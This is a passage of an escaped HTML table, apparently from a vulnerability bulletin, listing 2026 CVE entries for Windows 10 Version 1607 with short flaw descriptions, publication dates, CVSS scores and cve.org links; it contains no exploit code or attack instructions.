&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows DHCP Server allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69620&quot; target=&quot;_blank&quot;&gt;CVE-2026-69620&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows HTTP Print Provider allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69623&quot; target=&quot;_blank&quot;&gt;CVE-2026-69623&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows iSCSI allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69628&quot; target=&quot;_blank&quot;&gt;CVE-2026-69628&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows NTFS allows an unauthorized attacker to execute code locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69638&quot; target=&quot;_blank&quot;&gt;CVE-2026-69638&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Spaceport.sys allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69643&quot; target=&quot;_blank&quot;&gt;CVE-2026-69643&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Kernel allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69669&quot; target=&quot;_blank&quot;&gt;CVE-2026-69669&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Authentication bypass by capture-replay in Windows Kerberos allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69676&quot; target=&quot;_blank&quot;&gt;CVE-2026-69676&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Origin validation error in Windows DNS allows an unauthorized attacker to perform spoofing over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69680&quot; target=&quot;_blank&quot;&gt;CVE-2026-69680&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69681&quot; target=&quot;_blank&quot;&gt;CVE-2026-69681&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Windows Device Association Service allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69714&quot; target=&quot;_blank&quot;&gt;CVE-2026-69714&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Untrusted pointer dereference in Windows Group Policy allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69717&quot; target=&quot;_blank&quot;&gt;CVE-2026-69717&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69727&quot; target=&quot;_blank&quot;&gt;CVE-2026-69727&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Link Layer Topology Discovery Protocol allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69732&quot; target=&quot;_blank&quot;&gt;CVE-2026-69732&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Network File System allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69772&quot; target=&quot;_blank&quot;&gt;CVE-2026-69772&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69773&quot; target=&quot;_blank&quot;&gt;CVE-2026-69773&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in DNS Server allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69782&quot; target=&quot;_blank&quot;&gt;CVE-2026-69782&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Text Shaping allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69786&quot; target=&quot;_blank&quot;&gt;CVE-2026-69786&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Improper limitation of a pathname to a restricted directory (&#039;path traversal&#039;) in Windows PowerShell allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69807&quot; target=&quot;_blank&quot;&gt;CVE-2026-69807&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows DNS allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69813&quot; target=&quot;_blank&quot;&gt;CVE-2026-69813&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Biometric Service allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69826&quot; target=&quot;_blank&quot;&gt;CVE-2026-69826&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Concurrent execution using shared resource with improper synchronization (&#039;race condition&#039;) in DNS Server allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69827&quot; target=&quot;_blank&quot;&gt;CVE-2026-69827&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Windows Secure Kernel Mode allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69846&quot; target=&quot;_blank&quot;&gt;CVE-2026-69846&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows DHCP Server allows an authorized attacker to execute code over an adjacent network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69847&quot; target=&quot;_blank&quot;&gt;CVE-2026-69847&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69860&quot; target=&quot;_blank&quot;&gt;CVE-2026-69860&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows DHCP Server allows an authorized attacker to execute code over an adjacent network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69876&quot; target=&quot;_blank&quot;&gt;CVE-2026-69876&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Secure Kernel Mode allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69906&quot; target=&quot;_blank&quot;&gt;CVE-2026-69906&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in DNS Server allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69989&quot; target=&quot;_blank&quot;&gt;CVE-2026-69989&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Media Player allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70203&quot; target=&quot;_blank&quot;&gt;CVE-2026-70203&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows Ancillary Function Driver for WinSock allows an unauthorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70342&quot; target=&quot;_blank&quot;&gt;CVE-2026-70342&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Improper link resolution before file access (&#039;link following&#039;) in Windows Shell allows an unauthorized attacker to perform spoofing over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70563&quot; target=&quot;_blank&quot;&gt;CVE-2026-70563&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Paint allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70586&quot; target=&quot;_blank&quot;&gt;CVE-2026-70586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer overflow or wraparound in Windows Work Folder Service allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71336&quot; target=&quot;_blank&quot;&gt;CVE-2026-71336&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Integer underflow (wrap or wraparound) in Windows Remote Access Connection Manager allows an authorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71352&quot; target=&quot;_blank&quot;&gt;CVE-2026-71352&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft WDAC OLE DB provider for SQL allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72933&quot; target=&quot;_blank&quot;&gt;CVE-2026-72933&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim&#039;s machine&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72950&quot; target=&quot;_blank&quot;&gt;CVE-2026-72950&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim&#039;s machine&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72959&quot; target=&quot;_blank&quot;&gt;CVE-2026-72959&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Media Player allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72960&quot; target=&quot;_blank&quot;&gt;CVE-2026-72960&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Hyper-V allows an authorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72961&quot; target=&quot;_blank&quot;&gt;CVE-2026-72961&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in IP Helper allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72981&quot; target=&quot;_blank&quot;&gt;CVE-2026-72981&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Graphic Fonts allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72986&quot; target=&quot;_blank&quot;&gt;CVE-2026-72986&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Windows DNS allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-72987&quot; target=&quot;_blank&quot;&gt;CVE-2026-72987&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow in Microsoft Graphics Component allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73006&quot; target=&quot;_blank&quot;&gt;CVE-2026-73006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Management Services allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73012&quot; target=&quot;_blank&quot;&gt;CVE-2026-73012&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73013&quot; target=&quot;_blank&quot;&gt;CVE-2026-73013&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Microsoft Graphics Component allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73016&quot; target=&quot;_blank&quot;&gt;CVE-2026-73016&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Graphic Fonts allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73018&quot; target=&quot;_blank&quot;&gt;CVE-2026-73018&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73023&quot; target=&quot;_blank&quot;&gt;CVE-2026-73023&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Heap-based buffer overflow in Windows Imaging Component allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77495&quot; target=&quot;_blank&quot;&gt;CVE-2026-77495&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows NTFS allows an unauthorized attacker to elevate privileges locally.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77503&quot; target=&quot;_blank&quot;&gt;CVE-2026-77503&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Double free in Microsoft Office Word allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77504&quot; target=&quot;_blank&quot;&gt;CVE-2026-77504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in DNS Server allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77505&quot; target=&quot;_blank&quot;&gt;CVE-2026-77505&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Use after free in Reliable Multicast Transport Driver (RMCAST) allows an unauthorized attacker to execute code over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78449&quot; target=&quot;_blank&quot;&gt;CVE-2026-78449&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Windows 10 Version 1607&lt;/td&gt;
&lt;td&gt;Out-of-bounds read in Windows Remote Desktop Services allows an authorized attacker to elevate privileges over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
